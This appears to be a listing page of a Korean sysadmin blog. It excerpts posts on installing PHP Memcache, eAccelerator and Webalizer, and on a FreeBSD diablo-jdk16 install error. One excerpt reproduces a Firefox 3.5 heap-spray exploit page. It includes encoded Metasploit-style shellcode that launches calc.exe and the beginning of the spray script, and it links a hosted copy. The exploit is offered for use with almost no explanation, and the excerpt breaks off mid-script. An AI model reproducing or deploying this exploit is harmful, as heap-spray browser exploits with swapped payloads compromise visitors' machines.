Please assign a menu to the primary menu location under menu

PHP Memcache 적용

음.. eAccelerator 랑 비슷하게 php 페이지를 캐싱 해도록 해주는 것이다. 성능 향상은 있는듯함.홈페이지에서 memcache 파일을 다운 받아 설치를 진행 한다. (memcache2.2.5 기준)yongbok# wget -P /usr/local/src http://pecl.php.net/get/memcache-2.2.5.tgzyongbok# cd /usr/local/src; tar xzvf memcache-2.2.5.tgz; cd memcache-2.2.5yongbok# /etc/php/bin/phpizeyongbok# ./configure –with-php-config=/etc/php/bin/php-configyongbok# make; make test; make install설치가 완료 되면 아래 처럼 memcache.so 파일이 있는 곳을 알려준다. (참 친절함)Installing shared extensions:     /etc/php/lib/php/extensions/no-debug-non-zts-20060613/php.ini 가 있는 곳으로 가서 아래처럼 맨 아래에다가 추가을 한다.; extension 는 memcache.so 가 있는 디렉토리를 지정extension=/etc/php/lib/php/extensions/no-debug-non-zts-20060613/memcache.somemcache.allow_failover = 1memcache.max_failover_attempts=20memcache.chunk_size =8192memcache.default_port = 11211저장후 아파치 재실행yongbok# /etc/apache2/bin/apachectl restart** 옵션 설명extensionmemcache.so 모듈이 있는 곳을 가리킨다.memcache.allow_failover연결 에러가 발생할 경우 Memcache 확장이 다른 서버로 넘어갔는지 여부를 제어. 기본값은 1

FireFox 3.5 Exploit

파이어폭스 3.5 버전에서 아래의 html 소스 코드로 공격 할수 있는 취약점이 발견 되었습니다.http://www.yongbok.net/firefox3.5_exploit.php<html> <head> <title>Firefox 3.5 Vulnerability</title> Firefox 3.5 Heap Spray Vulnerabilty </br> Author: SBerry aka Simon Berry-Byrne </br> Thanks to HD Moore for the insight and Metasploit for the payload <div id=”content”> <p> <FONT> </FONT> </p> <p> <FONT>Loremipsumdoloregkuw</FONT></p> <p> <FONT>Loremipsumdoloregkuwiert</FONT> </p> <p> <FONT>Loremikdkw </FONT> </p> </div> <script language=JavaScript> /* Calc.exe */ var shellcode = unescape(“%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800” + “%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A” + “%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350” + “%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40” + “%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000” + “%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040” + “%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD” + “%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40” + “%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18” + “%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0” + “%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B” + “%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24” + “%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9” + “%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C” + “%u652E%u6578%u9000”); /* Heap Spray Code */ oneblock

FreeBSD – diablo-jdk16 설치시 에러 날때

FreeBSD 에서 diablo-jdk16 라이브러리 설치시 에러가 날때해당 URL 에서 라이센스 동의 하여 다운로드 받고 /usr/ports/distfiles 디렉토리에 업로드 후 설치 하면 됩니다. yongbok# cd /usr/ports/java/diablo-jdk16 && make install clean===>  Vulnerability check disabled, database not found===>  Found saved configuration for diablo-jdk-1.6.0.07.02_5 Because of licensing restrictions, you must fetch the distribution manually. Please accesshttp://www.FreeBSDFoundation.org/cgi-bin/download?download=diablo-caffe-freebsd7-i386-1.6.0_07-b02.tar.bz2 with a web browser and “Accept” the End User License Agreement for “Caffe Diablo 1.6.0”. Please open http://java.sun.com/javase/downloads/index.jsp in a web browser and follow the “Download” link for “JDK US DST Timezone Update Tool – 1_3_15” to obtain the time zone update file, tzupdater-1_3_15-2009g.zip. Please place the downloaded file(s) in /usr/ports/distfiles.*** Error code 1Stop in /usr/ports/java/diablo-jdk16.*** Error code 1Stop

Webalizer – 아파치 웹 로그 분석

웹서버의 어떤 파일, 페이지, 트래픽, 히트수, 페이지뷰 등등을 분석하거나 모니터링 할때 유용하게 쓰이는 webalizer 을 설치 해보도록 하겠습니다. webalizer 의 의존성 라이브러리 gd 와 png 를 먼저 설치합니다. gd 설치 경로는 /usr/local/libgd 이고 png 설치 경로는 /usr/local/libpng 입니다. 1. 의존성 라이브러리 설치 gd 라이브러리를 설치합니다. (gd-2.0.34 기준) yongbok# wget -P /root/src http://www.libgd.org/releases/gd-latest.tar.gz yongbok# cd /root/src; tar xzvf gd-latest.tar.gz; cd gd-2.0.34 yongbok# ./configure –prefix=/usr/local/libgd yongbok# make; make install png 라이브러리를 설치합니다. (libpng-1.2.37 기준) yongbok# wget -P /root/src http://downloads.sourceforge.net/sourceforge/libpng/libpng-1.2.37.tar.gz yongbok# cd /root/src; tar xzvf libpng-1.2.37.tar.gz; cd libpng-1.2.37 yongbok# ./configure –prefix=/usr/local/libpng yongbok# make; make install 2. Webalizer 설치 공식 홈페이지 ( http://www.mrunix.net/webalizer/download.html ) 에서

PHP – eAccelerator 설치

웹페이지의 응답 속도를 빠르게 해주기 위해서 eAccelerator 모듈로 웹캐시를 사용하게 됐습니다.머 개인 블로그라서.. 체감 속도는 못느끼지만 어느 정돈 성능 향상 있는 듯..?아래 주소에서 다운로드 합니다.http://sourceforge.net/projects/eaccelerator/files/# cd /usr/local/src# wget http://downloads.sourceforge.net/project/eaccelerator/eaccelerator/eAccelerator%200.9.6/eaccelerator-0.9.6.tar.bz2?use_mirror=cdnetworks-kr-1# tar xjvf eaccelerator-0.9.6.tar.bz2 && cd eaccelerator-0.9.6# /usr/local/php/bin/phpize# ./configure –enable-eaccelerator=shared –with-php-config=/usr/local/php/bin/php-config# make && make test && make install설치가 완료 되면 캐싱된 파일이 저장될 디렉토리를 지정 해줘야 합니다.# mkdir /var/tmp/eaccelerator# chown www:www /var/tmp/eaccelerator# chmod 700 eacceleratorphp.ini 에 아래 내용을 추가합니다.# vi /usr/local/apache2/conf/php.iniextension_dir=/usr/local/php/lib/php/extensions/no-debug-non-zts-20060613extension=eaccelerator.soeaccelerator.shm_size=”16″eaccelerator.cache_dir=”/var/tmp/eaccelerator”eaccelerator.enable=”1″eaccelerator.optimizer=”1″eaccelerator.check_mtime=”1″eaccelerator.debug=”0″eaccelerator.filter=””eaccelerator.shm_max=”0″eaccelerator.shm_ttl=”0″eaccelerator.shm_prune_period=”0″eaccelerator.shm_only=”0″eaccelerator.compress=”1″eaccelerator.compress_level=”9″추가한 내용을 적용하기 위해서 아파치를 재시작 합니다.# /usr/local/apache2/bin/apachectl restartphp 버전 정보를 이용하여 확인 합니다.# /usr/local/php/bin/php -vPHP 5.2.13 (cli) (built: May  4 2010 08:52:40)Copyright (c) 1997-2010 The PHP GroupZend Engine v2.2.0, Copyright (c)

1 39 40 41 45